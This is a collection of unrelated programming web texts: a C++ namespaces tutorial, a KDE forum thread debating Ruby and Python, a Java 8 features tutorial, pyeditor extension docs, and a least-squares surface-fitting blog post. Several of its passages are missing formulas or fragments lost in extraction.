@HappyFakeboulde Thanks for your comment. I have seen this on some text based operating systems, but i just though i might make it a little different. I will definitely take both of your points into consideration and maybe include them in a future update.
for the program handler(correct me if i'm wrong), you can use elif instead of multiple if's
@DavidRose1 Thanks for replying. I am aware of this but I like to use multiple if's for some reason. Although elif would work well too, I prefer to keep it with multiple if statements.
I hope you like Nano DOS :)
this should get featured its amazing
@EduFaus Thanks so much! I really appreciate your comment.
Probably not featured just yet, i would say maybe after a few more updates.
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The Global Namespace
Let's dive right in by taking a look at an example.
Sample: GlobalNamespaceSample\GlobalNamespaceSample.cpp
#include <iostream> #include <ostream> #include "../pchar.h" int g_x = 10; int AddTwoNumbers(int a, int b) { return a + b; } int _pmain(int /*argc*/, _pchar* /*argv*/[]) { int y = 20; std::wcout << L"The result of AddTwoNumbers(g_x, y) where g_x = " << g_x << L" and y = " << y << L" is " << AddTwoNumbers(g_x, y) << L"." << std::endl; if (true == 1) { std::wcout << L"true == 1!" << std::endl; } return 0; }
In the previous sample, we define two functions,
AddTwoNumbers and
wmain. These two functions are both in the global namespace. The global namespace is the base level in which everything else within the program exists. C++, owing to its C heritage, allows you to define anything within the global namespace (so you can define namespaces, classes, structures, variables, functions, enums, and templates).
C# also has the concept of a global namespace, but it does not allow you to define anything within it other than namespaces and types. In the previous example, we have the statement int g_x = 10; which defines an integer named g_x within the global namespace and assigns it a value of 10. This is what is commonly referred to as a global variable. In C# global variables are illegal.
As a brief aside, every programming language I have ever worked with has had its share of bad features—things the language allows, but things that usually lead to issues. These issues include hard-to-debug problems, subtle errors that go unnoticed for a long time, maintainability problems, readability problems, and all the other frustrating things that add many hours to development time without any benefit. C++ is no different. When we come across something that fits this description, I will do my best to call it out. This is one of those times.
Global variables are bad. Avoid them whenever possible. There is a common convention when using them in C++, which is to prefix the variable name with g_, as in the previous example. While this helps to alert you and other programmers to the fact that this is a global variable, it does not change the fact that it is a global variable, having all the problems I described. This isn’t a book on bad programming practices, so I’m not going to spend time explaining why global variables are bad. All you need to know is this feature exists in C++, but you should avoid using it whenever possible.
The Scope Resolution Operator
::
In C++,
:: is the scope resolution operator. It is used for separating nested namespaces, for separating types from their namespace, and for separating member functions and variables from their type.
Note that it is only used in the last situation when performing the following:
- Defining a member function.
- Accessing a member of a base class within a member function definition.
- Accessing a static member function or variable.
- Assigning a value to a static member variable.
- Fetching the address of a member function.
In other instances, you use either the . operator or the -> operator, depending on whether you are accessing the member directly or via a pointer.
This can seem complicated since C# just uses the . operator for all of the purposes that ::, ., and -> are used for in C++.
Note: We'll discuss the . and -> operators later. For now, you just need to know that they are used for accessing instance member variables and non-static member functions (which you use depending on whether or not you are working with a pointer).
For the most part, you'll be fine. The only place you’re likely to trip up is if you try to access a base class member by using the . operator rather than the :: operator, or if you try to specify an enum member using something other than ::. If you ever compile your program and receive a syntax error complaining about "missing ';' before '.' ", it's a good bet you used a . where you should've used a :: instead.
Defining Namespaces
A namespace is defined in much the same way as it is in C#. Here is an example:
Sample: NamespacesSample\NamespacesSample.cpp
#include <iostream> #include <ostream> #include <string> #include "../pchar.h" using namespace std; namespace Places { namespace Cities { struct City { City(const wchar_t* name) { Name = wstring(name); } wstring Name; }; } } int _pmain(int /*argc*/, _pchar* /*argv*/[]) { auto nyc = Places::Cities::City(L"New York City"); wcout << L"City name is " << nyc.Name.c_str() << L"." << endl; return 0; }
Note: Never include a using directive in a header file. If you do that, you don’t just import the types and namespaces in that namespace into the header file, you also import them into any source or header file that includes the header file. This causes really nasty namespace pollution issues. We’ll be discussing header files next, so anything that’s unclear about this should make sense then. Just remember that having a using namespace directive in a header file is a bad idea; only use them in your source code files.
Conclusion
As in most languages, namespaces are important in C++ to keep everything organized and to avoid name collisions. In the next installment of this series, we'll focus on functions and classes.<< | https://code.tutsplus.com/articles/c-succinctly-namespaces--mobile-22044 | CC-MAIN-2021-04 | refinedweb | 877 | 64.51 |
Yesterday.
It seems to me that Linux/KDE now really takes off.
btw: is Zack Rusin related to Mandriva? I mean the star icon.
Do you mean star icon on the article (next to the text)? I think that is only a icon represents articles related to "KDE Public Relations and Marketing" - like double gears icon for developer articles, Qt icon for Qt related articles, etc etc... Correct me if I'm wrong ;)
I wish the audio quality wasn't that bad. I'm a big fan of TLLTS, but the audio quality has been declining from bad to horrible. It makes my head hurt.
I cannot physically survive listening to any current TLLTS episode, although I'd love to. What can we do about it?
You are absolutely right, the audio quality is really horrible. I couldn't stand to listen to it for longer than a few minutes either. Is there a transcript available?
...and TLLTS, nice ~1:45 of interview!
good to hear this nice overview mixed with some interesting insights.
_cies.
p.s.:
zack: the day i became a veg, was the day i decided to learn how to cook. i'm not looking back (by now my roommates aren't either).
guys from TLLTS: what are you guys smoking? i must get some of that shit. ;)
zack says he likes ruby but not too much python one of the reason being its unicode handling, the fact that you need to use a module and stuff. Well last time I checked unicode is kind of a bitch too on ruby, if you want to use strings functions it won't work either you need to use special plugins or modules last time I checked, right?
I think your right about Ruby, though it might have been fixed in a recent minor revision.
none at all with a comprehensive solution coming is better than half-assed with a fix maybe coming. sort of explains why ruby resonates with a lot of kde (and other) developers and python simply seems "ok"
Hi Aaron,
I gave up on Ruby for now precisely because it doesn't support Unicode natively while Python does, or so I thought... It has a Unicode data type that's fully interchangeable with raw strings for all of its string-related functions (and also with QStrings, which is cool), and I've been using it a lot to fix encoding fuckups in output from other languages (not just Ruby though)... Am I missing something? Have I been doing something wrong with Python and never known it? c_c
Thanks!
As far as I know, Python does have native Unicode support, but when you define a string it isn't Unicode, unless specified to be so (with the exception of MacOSX where unicode is always used). However, I don't know Python in depth... I am just as puzzled about this as you are.
Yes, in python you can say unicode('foo') in the same way you can say string('foo'). In future they're planning to merge these two string types into a single unicode version.
And you can do things like:
u"Panzenböck".encode("utf8")
unicode("Panzenböck","iso-8859-15").encode("utf8")
"Panzenböck".decode("iso-8859-15")
"foo".encode("utf16")
etc.
So the unicode type is built into python, or am I missing something?
No, you're not missing anything. Ruby's _lack_ of unicode support is one of the more cited reasons people prefer Python instead. Not sure how people have it mixed up the other way round.
Aaron, this is nonsense. Really blathering, thesaurus-necessitating nonsense. Python's unicode support is excellent. Full-featured. Well thought out. Complete. Calling it half-assed... Well, I need my thesaurus again.
I've created a couple of linguistics applications with Python that needed really good unicode support and I never had a problem. Should the class that's currently called "string" be called "bytearray"? Sure. Should the class that's currently called "unicode" be called "string"? Sure, that too. Does "unicode" provide everything you may need from a string class including regular expressions? Definitely. There are currently two languages that handle Unicode really well: Python and Java. (And there's, as far as I know, one toolkit that does handle unicode really well: Qt.).
"The reason it resonates with some people is probably that it's new"
What are you talking about? I've been using Ruby for 5 years now and it's been around since the early to mid 90's. Just because Ruby on Rails got popular recently doesn't mean that Ruby is "new".
It's fine to rip on the language, but don't go around saying it's "new".
"What are you talking about? I've been using Ruby for 5 years now and it's been around since the early to mid 90's. Just because Ruby on Rails got popular recently doesn't mean that Ruby is "new"."
Yes, but it's only received attention and a lot of development recently in the last few years.
All my ruby loving friends always say: "but ruby-on-rails!"
So the best thing about ruby seems to be that webframework and it is the only reason so many people choose ruby over python. If ruby-on-rails won't exists, I think there would be much less ruby-lovers. I don't know if this people would use python instead, but the killer feature of ruby is not the language or std-lib itself, its ruby-on-rails.
(Well, I don't write web applications, so I use python.)
That's the killer app, but it's a killer app made possible only by the language itself. I'll admit to not being very familiar with Python, so I'll merely speak to the aspects of Ruby that make Rails possible, or at least prettier -- things like blocks and the ability to catch calls to missing methods and do things with them, for example (part of the way dynamic finders are implemented), as well as the ability to extend existing classes (used by Rails to, for example, extend the Fixnum class so one can write `1.day.from_now' and get a DateTime object that represents 24 hours from now). Rails is well-appreciated because it's so readable, and it tends to be readable at least in part because of Ruby's syntax (which for some reason a lot of people seem prone to describing as horrible) and language features.
That said, you won't hear me saying `but Ruby on Rails', you'll hear me saying `if you don't like Ruby, look to Rails to see what it's capable of'. I'm using Ruby for simple scripting, as well. And from the little I've seen of Python, the little inconsistencies in the language (when does one use methods vs functions on objects, for example?) would drive me up the wall (and do, when I'm helping students with their homework). But again, my experience with it is very limited.
As a side note, that has nothing to do with Unicode support in Ruby, which is, indeed, not very good at all. But, the intent, as I understand it, is to address that in Ruby 2, as well as some of the speed issues, and to bring in a new regular expression engine with neat little features like named backreferences. So the future is definitely something to look forward to in the Ruby world.
things like blocks
I don't know what that is, so I can't say if python has it.
the ability to catch calls to missing methods and do things with them [...], as well as the ability to extend existing classes
This is a feature every "dynamic" language (should) have, so python has it of course.
Well, for optimisation reasons python does not support changing builtin types (in, long, str) and binding types (if that is the proper term) like QString. But you can of course change derived classes in any way.
Another neat feature of python are generators (the yield satemetn) and with-blocks (since python 2.5).
Generators seem like one specific instance of blocks. I can't say for sure that they are exactly the same. In Ruby, a block is, much the same way, called with yield (and possibly with parameters, such as the statement `yield a, b', which will pass `a' and `b' to the block). Ruby exclusively uses blocks for iteration, however, such that:
for i in (1..10)
p i
end
Is the same as:
(1..10).each { |i| p i }
(Parameters to a block are specified between || symbols, blocks are delimited either by {} or by do/end).
These blocks, combined with mixins, let you do neat things. For example, if you provide the `each' method, which takes a block, you can use the Enumerable mixin to get things like:
* select (return an array of all items for which the block does not evaluate to false)
* inject (pass a variable around as an accumulator to every instance of a block -- i.e., a sum could be `(1..10).inject( 0 ) { |sum, num| sum += num }'
* reject (return an array of all items for which the block *does* evaluate to false)
* collect (an equivalent of Python's map, but done by providing a block to be evaluated; e.g. `(1..10).collect { |number| number * 10 }' to get an array of every number from 1-10 multiplied by 10)
* .. etc.
I'm also a fan of being able to pass parameters to methods without parentheses in certain circumstances (though I understand why some people hate it):
"hello".gsub /[he]/, 'test'
I see. Very interesting. That's a feature which would be great to have in python.
Python uses a other approach to this kind of problems: list-comprehension.
L = [f(i) for i in xrange(1,11)]
Filter the list:
L = [f(i) for i in xrange(1,11) if g(i)]
If you don't want to generate a real list you can make a generator:
L = (f(i) for i in xrange(1,11) if g(i))
When the generator will be passed to a function, you can omit the parenthesis:
foo(f(i) for i in xrange(1,11) if g(i))
You can also nest list-comprehensions:
L = [i + 3 for i in (j * 2 for j in [2,3,4,5]) if i > 7]
-> L = [11, 13]
Of course there are many builtin-function to help you with this stuff:
map, zip, filter, sorted, reversed, sum, reduce, min, max, ...
There is no product function (as there is a sum function), but look how easy it is to write it.
version 1:
product = lambda sequence: reduce(lambda a,b: a * b,sequence,1)
version 2:
import operator
product = lambda sequence: reduce(operator.mul,sequence,1)
product([2,3,4])
-> 24
product([2])
-> 2
product([2])
-> 1
Some further applications:
transpose = lambda mtx: zip(*mtx)
transpose([(11,12,13),(21,22,23),(31,32,33)])
-> [(11, 21, 31), (12, 22, 32), (13, 23, 33)]
A bit of a long line, but demonstrating many features:
for i, s in map(lambda a,b: (a,b+"..."),reversed([1,2,3]),sorted(['foo','bar','egg','spam'])): print i, s
output:
3 bar...
2 egg...
1 foo...
None spam...
A other feature of python I like are decorators, but enough with the spamming for now. :)
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Well, I think Ruby and Python both have their advantages and disadvantages, and people should make their own minds up which they prefer. I think it's important that we ensure KDE offers first class support for both.
Ruby has open classes, including customisable instances (you can add methods to individual instances), iterators that use blocks and yield, continuations, mixins, no need to pass 'self' to instance methods, and plenty enough things to make _self_ kde developer resonate. Ruby is slow, but UIs built with QtRuby or Korundum are not slow because most of the code that gets called is C++ of cources.
To use Unicode for a QtRuby or Korundum app with Qt Designer, you need to pass a '-KU' option to Ruby, and optionally include a "require 'jcode'" in the code. It doesn't have complete Unicode support, but that is not the same as having no Unicode support.
Here are some interesting links that discuss Unicode and Ruby:
and for people doing rails:
"Ugly syntax"
I find that really funny having written an awful lot of Python with Zope over the years. Python's syntax is bloody awful. The indentation thing was just one of the acts of lunacy (might be good in some circumstances, but not generally). My comfort level goes up when I start using Ruby and Visual Basic (yes, VB) again. If people want to attract VB developers to desktop level programming then you ain't going to do it with Python.
Explicit 'self' parameter to methods is another thing that I dislike, and is possibly worse than the indentation. The keywords 'this' in Java and 'Me' in VB are used when you need them - within scope. And double underscores to indicate private? No, it just won't do. You are also never going to convince a VB or desktop developer of any kind of this:
def sayhello():
return 'Hello, world!'
foo = sayhello
print foo
versus this:
def sayhello()
return 'Hello, world!'
end
print foo
Hello, world!=> nil
(Indenting won't come out - guess what's more readable?)
Yes. hello() evaluates to 'Hellow World' in Ruby. Novel concept eh?
"Perl and Python"
Ugly syntax again? Perl?
No, it's just that it's plain better - especially if you want to do OO programming. We've gone beyond the initial hype to the stage where everyone asks "Is it really better?" The answer is still yes. Frameworks like RoR simply make web apps easier when compared with Java or .Net. Even Joel Spolsky seems to have had an internal argument with an intern perhaps, about Ruby and RoR, to the point where he's having to badmouth Ruby:
You then get various graphs telling you that Python, or something else, is more in demand than Ruby and that you shouldn't be using it neglecting to point out that Ruby is a relatively young language and framework.
Is Ruby slow in places and does it need to be improved? Yes. Will it be? Considering the interest and development on Ruby, I'd say yes. Does it mean that we should use Python instead? No.
Ok, ok, ok. Let's all calm down. I don't say ruby is bad, I only say python is good and it's definitely not significant worse then ruby and I also think ruby is not significant better than python: python and ruby are much the same. I don't know a lot about ruby, but it seems that both languages are approximately same good.
Things like len(obj) and __* to make something private are ugly indeed. It would be cool if this would change in python 3.0.
But I actually like that you can distinguish a function call from passing a function/callable object as parameter. How do you pass a non-argument function in ruby as a parameter? Or is ruby like haskell sideeffect free?
Then I have to google what things like mixins and blocks are. First heard of them in this thread.
I read on wikipedia what those features are: I think in one way or the other they are all supported by python. I don't know if the syntax for those features is "better" in ruby but that depends on taste anyway. So the decision between python and ruby is a decision by frameworks/available libraries and taste. :)
Forgot to lookup block: seems to by a anonymous method or something like that. Could be very handy in some situations. Well, python dose not support that (AFAIK).
"I don't say ruby is bad, I only say python is good and it's definitely not significant worse then ruby"
Well, no it's not significantly worse. Think of this in the context of developing desktop apps, and a VB developer coming over to develop KDE apps in a decently clean OO language that's easy to pick up. That's how I'm looking at this.
"Things like len(obj) and __* to make something private are ugly indeed. It would be cool if this would change in python 3.0"
I really hope so. All we're talking about here is syntax really. There may be some design decisions in terms of how Ruby views things in an OO world that may come out later when we can more adequately compare Python and Ruby.
At the moment, syntax arguments get in the way. Python needs to do a bit better there.
"""The indentation thing was just one of the acts of lunacy """
I thought the same, then I tried Python and after 15 minutes I was used to it. Braces and 'end' statements look like clutter to me now.
Ruby and Python are more similar to each other than they are dissimilar. Some would argue that the two languages are converging over time.( ) But your example code highlights one of the interesting differences between Ruby and Python, and how they "think" about objects. This webpage here does a good job of explaining the two points of view:
I come from a C/asm/C++/Java background. So Python's take on OOP makes the most sense to me. Function or method calls without brackets just don't feel right at all. While people who are used to VB or Smalltalk might find Ruby a more natural fit.
--
Simon
> I thought the same, then I tried Python and after 15 minutes I was used to it. Braces and 'end' statements look like clutter to me now.
Same here. :)
> Function or method calls without brackets just don't feel right at all.
I think so, too. But in languages like haskell it is a blessing that you don't have to write brackets! (Otherwise it would be lisp.)
I think it's all a matter of taste. :)
"I thought the same, then I tried Python and after 15 minutes I was used to it. Braces and 'end' statements look like clutter to me now."
Hands up, yes. I never thought too much of it myself, even when I first started using Python. However, for a VB developer looking to develop some KDE apps in an equivalent language? That's a tough one. We don't want a VB clone by any stretch, but something with enough reasonably clean and English-like syntax with emphasis on decent OO development.
I was a VB developer (3, 5 and 6) when I first met Python, seven or eight years ago. I took to it like a duck to water. It was the equivalent language for the equivalent purpose. Already in 1999, with PyKDE, python the best and most productive way to develope gui applications on Linux.
Of course, Python wasn't just the vb-on-linux that it appeared to me at first: it was the stepping-stone to higher things, like coding C++, which means regularly waiting twenty minutes to see if a bit of code I wouldn't have had to write had I used Python does or does not cause a crash.
> I come from a C/asm/C++/Java background.
> So Python's take on OOP makes the most sense to me.
Interesting. I come from a asm/Java/C/C++/Perl background, and I find Ruby's OOP much more natural... sort of like Java without the misjudgements.(Like no primitive types!) I've never really gotten into Python despite a few tries. It feels like another Perl to me, and while I love Perl as a crazy testbed... I already know one perl.
But I have had very little need of unicode support, so that is a difference that might make python worthwhile.
The Quality is horrible. I can bearly understand. wth?
also, ONE HOUR ? why are not you doing weekly 20 minutes instead of huge hours we don't have time to listen.
You do realize that Zack was on a phone in Norway while the guys were in PA and VA in the U.S.? TLLTS is usually 2 hours in length with the interviews 45-60 minutes in length.
How about using VoIP?
It is voip. The show uses an Asterisk server for the telephone calls. Zack dialed via a phone into the Asterisk conference room. I'll put in for a KDE developer guest extension going forward.
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This Java 8 tutorial list down important Java 8 features with examples which were introduced in this release. All features have links to detailed tutorials such as lambda expressions, Java streams, functional interfaces and date time API changes.
Java SE 8 was released in early 2014. In java 8, most talked about feature was lambda expressions. It has many other important features as well such as default methods, stream API and new date/time API. Let’s learn about these new features in java 8 with examples.
Table of Contents 1. Lambda Expression 2. Functional Interface 3. Default Methods 4. Streams 5. Date/Time API Changes
1. Lambda Expression
Lambda expressions are not unknown to many of us who have worked on other popular programming languages like Scala. In Java programming language, a Lambda expression (or function) is just an anonymous function, i.e., a function with no name and without being bounded to an identifier. They are written exactly in the place where it’s needed, typically as a parameter to some other function.
The basic syntax of a lambda expression is:
either (parameters) -> expression or (parameters) -> { statements; } or () -> expression
A typical lambda expression example will be like this:
(x, y) -> x + y //This function takes two parameters and return their sum.
Please note that based on type of x and y, method may be used in multiple places. Parameters can match to int, or Integer or simply String also. Based on context, it will either add two integers or concat two strings.
Rules for writing lambda expressions
-.
- When there is a single parameter, if its type is inferred, it is not mandatory to use parentheses. e.g. a -> return a*a.
- The.
Read More: Java 8 Lambda Expressions Tutorial
2. Functional Interface
Functional interfaces are also called Single Abstract Method interfaces (SAM Interfaces). As name suggest, they permit exactly one abstract method inside them. Java 8 introduces an annotation i.e.
@FunctionalInterface which can be used for compiler level errors when the interface you have annotated violates the contracts of Functional Interface.
A typical functional interface example:
@FunctionalInterface public interface MyFirstFunctionalInterface { public void firstWork(); }
Please note that a functional interface is valid even if the
@FunctionalInterface annotation would be omitted. It is only for informing the compiler to enforce single abstract method inside interface.
Also, since default methods are not abstract you’re free to add default methods to your functional interface as many as you like.
Another important point to remember is that if an interface declares an abstract method overriding one of the public methods of
java.lang.Object, that also does not count toward the interface’s abstract method count since any implementation of the interface will have an implementation from
java.lang.Object or elsewhere. for example, below is perfectly valid functional interface.
@FunctionalInterface public interface MyFirstFunctionalInterface { public void firstWork(); @Override public String toString(); //Overridden from Object class @Override public boolean equals(Object obj); //Overridden from Object class }
Read More: Java 8 Functional Interface Tutorial
3. Default Methods
Java 8 allows you to add non-abstract methods in interfaces. These methods must be declared default methods. Default methods were introduces in java 8 to enable the functionality of lambda expression.
Default methods enable you to add new functionality to the interfaces of your libraries and ensure binary compatibility with code written for older versions of those(). e.g.
public class Animal implements Moveable{ public static void main(String[] args){ Animal tiger = new Animal(); tiger.move(); } } Output: I am moving
If class willingly wants to customize the behavior of
move() method then it can provide it’s own custom implementation and override the method.
Reda More: Java 8 Default Methods Tutorial
4. Java 8 Streams
Another major change introduced Java 8 Streams API, which provides a mechanism for processing a set of data in various ways that can include filtering, transformation, or any other way that may be useful to an application.
Streams API in Java 8 supports a different type of iteration where you simply define the set of items to be processed, the operation(s) to be performed on each item, and where the output of those operations is to be stored.
An example of stream API. In this example,
items is collection of
String values and you want to remove the entries that begin with some prefix text.
List<String> items; String prefix; List<String> filteredList = items.stream().filter(e -> (!e.startsWith(prefix))).collect(Collectors.toList());
Here
items.stream() indicates that we wish to have the data in the
items collection processed using the Streams API.
Read More: Java 8 Internal vs. External Iteration
5. Java 8 Date/Time API Changes
The new Date and Time APIs/classes (JSR-310), also called as ThreeTen, which have simply change the way you have been handling dates in java applications.
Dates
Date class has even become obsolete. The new classes intended to replace Date class are
LocalDate,
LocalTime and
LocalDateTime.
- The
LocalDateclass represents a date. There is no representation of a time or time-zone.
- The
LocalTimeclass represents a time. There is no representation of a date or time-zone.
- The
LocalDateTimeclass represents a date-time. There is no representation of a time-zone..
LocalDate localDate = LocalDate.now(); LocalTime localTime = LocalTime.of(12, 20); LocalDateTime localDateTime = LocalDateTime.now(); OffsetDateTime offsetDateTime = OffsetDateTime.now(); ZonedDateTime zonedDateTime = ZonedDateTime.now(ZoneId.of("Europe/Paris"));
Timestamp and Duration(); Instant instant1 = instant.plus(Duration.ofMillis(5000)); Instant instant2 = instant.minus(Duration.ofMillis(5000)); Instant instant3 = instant.minusSeconds(10);
Duration class is a whole new concept brought first time in java language. It represents the time difference between two time stamps.
Duration duration = Duration.ofMillis(5000); duration = Duration.ofSeconds(60); duration = Duration.ofMinutes(10);
Duration deals with small unit of time such as milliseconds, seconds, minutes and hour. They are more suitable for interacting with application code. To interact with human, you need to get bigger durations which are presented with
Period class.
Period period = Period.ofDays(6); period = Period.ofMonths(6); period = Period.between(LocalDate.now(), LocalDate.now().plusDays(60));
Read More: Java 8 Date and Time API Changes
Drop me your questions on this Java 8 tutorial in comments section.
Happy Learning !!
Feedback, Discussion and Comments
Justin Raj S
Hi,
Very much interested and useful posts. Special thanks to you. is there any video tutorial available on website? if yes, share those details please.
Abhinav Srivastava
Abhinav Srivastava
can someone help me on this , new to spring reactive my api response is :
{
“version”: “1.0”,
“content”: [
“12345”,
“67076”,
“123462”,
“604340”,
“1331999”,
“1332608”,
“1785581”,
]
}
need the “content”(list of string) to “sites” (string pipe separated)
sai vijay
Very nice tutorial. recommended to every one.thanks
Sachin Sridhar
Very Nice. I will recommend it to everyone to read it.
A User
Very nice tutorials for reading. Can you also provide a PDF of your whole java 8 tutorial, as it is much helpful to read in offline mode.
Jack
Hi Lokesh,
Thank you.
Laxminarsaiah Ragi
Hi Lokesh need help, i have a method, that will return User Object.
But this code throwing
java.util.stream.ReferencePipeline$2cannot be
cast to com.pi.user.User,
how to return a object.
Lokesh Gupta
In this case, you can use short circuit operation. Try adding “.findFirst().get()”. e.g.
Read More:
Place4Java
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It's purpose is to provide a text editor that is usable as is and that can be easily extended for specialized editing tasks.
pyeditor is written in Python (using pyscintilla which is a wrapper around Scintilla, which is written in C++). Thus, pyeditor is extendible in Python. However, much power can be gained by extending pyeditor with C and C++. A particularly interesting example is XML processing.
This document describes how to extend and customize pyeditor for special tasks and for more complex tasks.
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def file_test(self, *args):
buffer = self.getCurBuf()
start, end = buffer.get_selection() curLineNo = buffer.get_line_at_position(start) lineNo = curLineNo line = buffer.get_line(lineNo)
testpix, testmask = gtk.create_pixmap_from_xpm(win, None, home + "pixmaps/test.xpm")If you need a new pix map for your button, you will have to create it yourself.
toolbar.append_item("Test", "Run a test", "Run a test", gtk.GtkPixmap(testpix, testmask), self.run_test)
The default behaviors are in class Custom. To implement behavior for a new file type, create a new sub-class of class Custom. As an example, we'll add a new behavior for a property file type which has extension ".prop".
Follow these steps:
class PropertyCustom(Custom): pass
elif ext == '.prop': self.fileCustom = PropertyCustom()
class PropertyCustom(Custom): def __init__(self): Custom.__init__(self)
class PropertyCustom(Custom): def __init__(self): Custom.__init__(self) self.defaultTabWidth = 8 self.useTabs = 1
pyeditor comes with several examples of using Python modules written in C to extend pyeditor. See the file utils_xml.py, where it uses libxml_saxlib (available at) and libxsltmod (available at).
The important thing to remember here is that any Python module can be used in extending pyeditor. From the point of view of using the module, it makes no difference whether the module was written in C/C++ or in plain Python.
Python is particularly well suited for being extended in C and C++. "Python is glue." In fact SWIG (Simplified Wrapper Interface Generator available at) will, for some purposes generate these wrappers for you.
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The method buffers_buildmenu is called to create the Buffers menu. The method popup_buildmenu is called to create the popup menu (which appears when you right-click in the text edit pane). You can add or remove items in these menus by modifying these two methods.
The method buffers_buildmenu replaces a menu that is created in create_menus. Look at the calls to buffers_buildmenu and the definition of that method itself to learn how to specialize other menus that change dynamically while the editor is running.
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The last post showed how to fit a
equation to a set of 2d data points, using least squares fitting. It allowed you to do this getting only one data point at a time, and still come up with the same answer as if you had all the data points at once, so it was an incremental, or “online” algorithm.
This post generalizes that process to equations of any dimension such as
,
or greater.
Below is an image of a surface that is degree (2,2). This is a screenshot taken from the interactive webgl2 demo I made for this post: Least Squares Surface Fitting
How Do You Do It?
The two main players from the last post were the ATA matrix and the ATY vector. These two could be incrementally updated as new data points came in, which would allow you to do an incremental (or “online”) least squares fit of a curve.
When working with surfaces and volumes, you have the same things basically. Both the ATA matrix and the ATY vector still exist, but they contain slightly different information – which I’ll explain lower down. However, the ATY vector is renamed, since in the case of a surface it should be called ATZ, and for a volume it should be called ATW. I call it ATV to generalize it, where v stands for value, and represents the last component in a data point, which is the output value we are trying to fit given the input values. The input values are the rest of the components of the data point.
At the end, you once again need to solve the equation
to calculate the coefficients (named c) of the equation.
It’s all pretty similar to fitting a curve, but the details change a bit. Let’s work through an example to see how it differs.
Example: Bilinear Surface Fitting
Let’s fit 4 data points to a bilinear surface, otherwise known as a surface that is linear on each axis, or a surface of degree(1,1):
(0,0,5)
(0,1,3)
(1,0,8)
(1,1,2)
Since we are fitting those data points with a bilinear surface, we are looking for a function that takes in x,y values and gives as output the z coordinate. We want a surface that gives us the closest answer possible (minimizing the sum of the squared difference for each input data point) for the data points we do have, so that we can give it other data points and get z values as output that approximate what we expect to see for that input.
A linear equation looks like this, with coefficients A and B:
Since we want a bilinear equation this time around, this is the equation we are going to end up with, after solving for the coefficients A,B,C,D:
The first step is to make the A matrix. In the last post, this matrix was made up of powers of the x coordinates. In this post, they are actually going to be made up of the permutation of powers of the x and y coordinates.
Last time the matrix looked like this:
This time, the matrix is going to look like this:
Simplifying that matrix a bit, it looks like this:
To simplify it even further, there is one row in the A matrix per data point, where the row looks like this:
You can see that every permutation of the powers of x and y for each data point is present in the matrix.
The A matrix for our data points is this:
Next we need to calculate the ATA matrix by multiplying the transpose of that matrix, by that matrix.
Taking the inverse of that matrix we get this:
Next we need to calculate the ATV vector (formerly known as ATY). We calculate that by multiplying the transpose of the A matrix by the Z values:
Lastly we multiply the inversed ATA matrix by the ATV vector to get our coefficients.
In the last post, the coefficients we got out were in x power order, so the first (top) was for the
term, the next was for the
term etc.
This time around, the coefficients are in the same order as the permutations of the powers of x and y:
That makes our final equation this:
If you plug in the (x,y) values from the data set we fit, you’ll see that you get the corresponding z values as output. We perfectly fit the data set!
The process isn’t too different from last post and not too difficult either right?
Let’s see if we can generalize and formalize things a bit.
Some Observations
Firstly you may be wondering how we come up with the correct permutation of powers of our inputs. It actually doesn’t matter so long as you are consistent. You can have your A matrix rows have the powers in any order, so long as all orders are present, and you use the same order in all operations.
Regarding storage sizes needed, the storage of surfaces and (hyper) volumes are a bit different and generally larger than curves.
To see how, let’s look at the powers of the ATA matrix of a bilinear surface, using the ordering of powers that we used in the example:
Let’s rewrite it as just the powers:
And the permutation we used as just powers to help us find the pattern in the powers of x and y in the ATA matrix:
Can you find the pattern of the powers used at the different spots in the ATA matrix?
I had to stare at it for a while before I figured it out but it’s this: For the i,j location in the ATA matrix, the powers of x and y are the powers of x and y in the i permutation added to the powers of x and y in the j permutation.
For example,
has xy powers of 10. Permutation 0 has powers of 0,0 and permutation 2 has powers of 1,0, so we add those together to get powers 1,0.
Another example,
has xy powers of 21. Permutation 2 has powers of 1,0 and permutation 3 has powers 1,1. Adding those together we get 2,1 which is correct.
That’s a bit more complex than last post, not too much more difficult to construct the ATA matrix directly – and also construct it incrementally as new data points come in!
How many unique values are there in the ATA matrix though? We need to know this to know how much storage we need.
In the last post, we needed (degree+1)*2–1 values to store the unique ATA matrix values. That can also be written as degree*2+1.
It turns out that when generalizing this to surfaces and volumes, that we need to take the product of that for each axis.
For instance, a surface has ((degreeX*2)+1)*((degreeY*2)+1) unique values. A volume has ((degreeX*2)+1)*((degreeY*2)+1)*((degreeZ*2)+1) unique values.
The pattern continues for higher dimensions, as well as lower, since you can see how in the curve case, it’s the same formula as it was before.
For the same ATA matrix size, a surface has more unique values than a curve does.
As far as what those values actually are, they are the full permutations of the powers of a surface (or hyper volume) that is one degree higher on each axis. For a bilinear surface, that means the 9 permutations of x and y for powers 0,1 and 2:
Or simplified:
What about the ATV vector?
For the bilinear case, The ATV vector is the sums of the permutations of x,y multiplied by z, for every data point. In other words, you add this to ATV for each data point:
How much storage space do we need in general for the ATV vector then? it’s the product of (degree+1) for each axis.
For instance, a surface has (degreeX+1)*(degreeY+1) values in ATV, and a volume has (degreeX+1)*(degreeY+1)*(degreeZ+1).
You may also be wondering how many data points are required minimum to fit a curve, surface or hypervolume to a data set. The answer is that you need as many data points as there are terms in the polynomial. We are trying to solve for the polynomial coefficients, so there are as many unknowns as there are polynomial terms.
How many polynomial terms are there? There are as many terms as there are permutations of the axes powers involved. In other words, the size of ATV is also the minimum number of points you need to fit a curve, surface, or hypervolume to a data set.
Measuring Quality of a Fit
You are probably wondering if there’s a way to calculate how good of a fit you have for a given data set. It turns out that there are a few ways to calculate a value for this.
The value I use in the code below and in the demos is called
or residue squared.
First you calculate the average (mean) output value from the input data set.
Then you calculate SSTot which is the sum of the square of the mean subtracted from each input point’s output value. Pseudo code:
SSTot = 0; for (point p in points) SSTot += (p.out - mean)^2;
You then calculate SSRes which is the sum of the square of the fitted function evaluated at a point, subtracted from each input points’ output value. Pseudo code:
SSRes= 0; for (point p in points) SSRes += (p.out - f(p.in))^2;
The final value for R^2 is 1-SSRes/SSTot.
The value is nice because it’s unitless, and since SSRes and SSTot is a sum of squares, SSRes/SSTot is basically the value that the fitting algorithm minimizes. The value is subtracted from 1 so that it’s a fit quality metric. A value of 0 is a bad fit, and a value of 1 is a good fit and generally it will be between those values.
If you want to read more about this, check out this link: Coefficient of Determination
Example Code
Here is a run from the sample code:
And here is the source code:
